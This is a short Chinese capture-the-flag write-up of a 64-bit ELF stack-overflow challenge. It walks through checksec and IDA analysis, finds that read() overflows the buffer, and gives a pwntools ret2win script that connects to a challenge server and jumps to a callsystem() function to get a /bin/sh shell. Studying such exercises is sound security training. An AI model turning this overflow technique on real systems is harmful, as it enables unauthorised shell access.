下载改题目提供的文件,使用file
和checksec
进行分析
该文件是一个64
位的ELF
可执行文件,而且开启了NX
保护机制,不知道其作用如何
使用ida
打开,是一道基本的栈溢出
-
return
返回vulnerable_function()
方法,继续追踪
-
可以看出
vulnerable_function()
这个方法有return
返回了read()
方法
-
这里可以确定,
read()
方法会栈溢出,详细可以看我之前的博客:https://www.cnblogs.com/Junglezt/p/17871927.html -
通过
ida
找到了一个危险函数callsystem()
函数,内容位/bin/sh
编写exp
from pwn import *
r = remote("61.147.171.105",55521)
# callsystem函数内存地址
callsystem_addr = 0x400596
# 发送80个垃圾数据,8个saved ebp数据,最后发送callsystem函数内存地址
payload = (b"a" * 0x80) + (b"b" * 8) + p64(callsystem_addr)
# 发送payload
r.send(payload)
# 获取靶机交互式终端
r.interactive()